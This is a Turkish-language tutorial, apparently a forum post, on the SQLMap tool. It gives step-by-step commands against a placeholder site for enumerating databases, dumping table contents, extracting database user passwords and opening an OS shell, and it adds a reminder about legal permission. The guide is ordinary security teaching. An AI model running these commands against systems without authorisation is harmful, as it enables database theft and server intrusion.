Eğitim SQLMap Nedir ve Nasıl Kullanılır

SQLMap, SQL enjeksiyonu (SQL Injection) açıklarını tespit etmek ve bu açıklardan yararlanarak hedef sistem üzerinde veri tabanı manipülasyonu yapmak amacıyla kullanılan açık kaynak kodlu bir güvenlik aracıdır. SQL enjeksiyonu, web uygulamalarındaki en yaygın ve tehlikeli güvenlik açıklarından biridir. SQLMap, bu tür açıkları otomatik olarak bulur ve sömürmek için gerekli komutları çalıştırır.

sqlmap.png

SQLMap'in Özellikleri

  • Farklı veri tabanı yönetim sistemlerini destekler (MySQL, PostgreSQL, Oracle, MSSQL, vb.)
  • Hedef sistemdeki veritabanlarını, tabloları ve sütunları keşfetme.
  • Veri tabanındaki bilgileri çekme (örneğin kullanıcı adları, parolalar).
  • Hedef sistemde dosya yükleme ve çalıştırma.
  • Gelişmiş SQL enjeksiyon teknikleri (örneğin, Union-based, Error-based, Time-based Blind, vb.)

SQLMap Nasıl Kullanılır?

SQLMap kullanımı basit ancak güçlü bir araçtır. Komut satırı üzerinden çalışır ve aşağıdaki gibi temel bir kullanım yapısına sahiptir
Bash:
sqlmap -u "http://hedefsite.com/vulnerablepage.php?id=1"
Bu komut, belirtilen URL'deki parametreleri inceleyerek SQL enjeksiyonu açıklarını tarar.

Adım 1: SQLMap Kurulumu

SQLMap'i kullanmaya başlamak için önce sisteminize yüklemeniz gerekir.
  1. Linux/MacOS:
    • Terminali açın ve aşağıdaki komutu çalıştırın
      Bash:
      sudo apt-get install sqlmap
    • Veya, GitHub'dan klonlayabilirsiniz
      Bash:
      git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-devcd sqlmap-dev
  2. Windows:
    • SQLMap'i Resmi GitHub Sayfası üzerinden indirin.
    • İndirme işlemi tamamlandıktan sonra, sqlmap.py dosyasını Python yüklü olan bir ortamda çalıştırabilirsiniz.

Adım 2: Basit Tarama

SQLMap ile bir web uygulamasında SQL enjeksiyonu açığı olup olmadığını test etmek için basit bir tarama komutunu çalıştırabilirsiniz
Bash:
sqlmap -u "http://hedefsite.com/vulnerablepage.php?id=1"
Açıklama:
  • -u: Hedef URL'yi belirtir.
  • SQLMap, bu URL'deki id parametresini test eder ve olası SQL enjeksiyon açıklarını arar.

Adım 3: Veri Tabanı Bilgilerini Keşfetme

Hedef sistemin veri tabanında hangi veri tabanlarının bulunduğunu öğrenmek için şu komutu kullanabilirsiniz
Bash:
sqlmap -u "http://hedefsite.com/vulnerablepage.php?id=1" --dbs
Açıklama:
  • --dbs: Hedef sistemdeki tüm veri tabanlarını listeler.

Adım 4: Tabloları ve Sütunları Keşfetme

Belirli bir veri tabanındaki tabloları ve bu tablolardaki sütunları keşfetmek için şu komutları kullanabilirsiniz
  • Tabloları Listeleme
    Bash:
    sqlmap -u "http://hedefsite.com/vulnerablepage.php?id=1" -D veritabani_adi --tables
  • Sütunları Listeleme
    Bash:
    sqlmap -u "http://hedefsite.com/vulnerablepage.php?id=1" -D veritabani_adi -T tablo_adi --columns
Açıklama:
  • -D: Veri tabanı adını belirtir.
  • --tables: Belirtilen veri tabanındaki tüm tabloları listeler.
  • -T: Tablo adını belirtir.
  • --columns: Belirtilen tablo içindeki sütunları listeler.

Adım 5: Veri Çekme

Belirli bir tablodan veri çekmek için şu komutu kullanabilirsiniz
Bash:
sqlmap -u "http://hedefsite.com/vulnerablepage.php?id=1" -D veritabani_adi -T tablo_adi -C sutun_adi --dump
Açıklama:
  • -C: Çekmek istediğiniz sütunun adını belirtir.
  • --dump: Belirtilen sütundaki tüm verileri çeker.

Adım 6: Diğer Gelişmiş Kullanımlar

SQLMap'in birçok gelişmiş kullanımı vardır. İşte birkaç örnek:
  • SQL Enjeksiyonu (Blind SQL Injection)
    Bash:
    sqlmap -u "http://hedefsite.com/vulnerablepage.php?id=1" --technique=B
    Açıklama: --technique=B ile Blind SQL enjeksiyonu kullanılır.
  • Veri Tabanı Kullanıcıları ve Şifreleri
    Bash:
    sqlmap -u "http://hedefsite.com/vulnerablepage.php?id=1" --users --passwords
    Açıklama: Bu komut, veri tabanı kullanıcılarını ve şifrelerini listelemeye çalışır.
  • Komut Çalıştırma
    Bash:
    sqlmap -u "http://hedefsite.com/vulnerablepage.php?id=1" --os-shell
    Açıklama: Bu komut, hedef sistemde bir komut kabuğu (shell) açmaya çalışır.

SQLMap Kullanırken Dikkat Edilmesi Gerekenler

  • Yasal İzin: Hedef sisteme yönelik herhangi bir güvenlik testi yapmadan önce, kesinlikle yasal izin almalısınız. Aksi takdirde, yasaları ihlal etmiş olursunuz.
  • Doğru Hedef: SQLMap güçlü bir araçtır ve yanlış kullanıldığında ciddi sonuçlar doğurabilir. Yanlış bir hedef üzerinde çalışmak, hizmetin durmasına (DoS) veya veri kaybına neden olabilir.
  • Güncellemeler: SQLMap'i düzenli olarak güncelleyin, çünkü yeni güvenlik açıkları ve veri tabanı yönetim sistemi (DBMS) sürümleri sürekli olarak güncellenir.

Sonuç

SQLMap, web güvenliği uzmanları için vazgeçilmez bir araçtır. SQL enjeksiyonu gibi yaygın bir güvenlik açığını otomatik olarak tespit edebilir ve bu açığı sömürmek için gerekli adımları atabilir. Ancak, bu gücü doğru ve etik bir şekilde kullanmak çok önemlidir.

Bu rehberle SQLMap’i temel seviyede kullanmayı öğrenmiş oldunuz. Daha ileri düzey kullanım için SQLMap'in resmi dokümantasyonuna göz atabilirsiniz.
 
Geri
Üst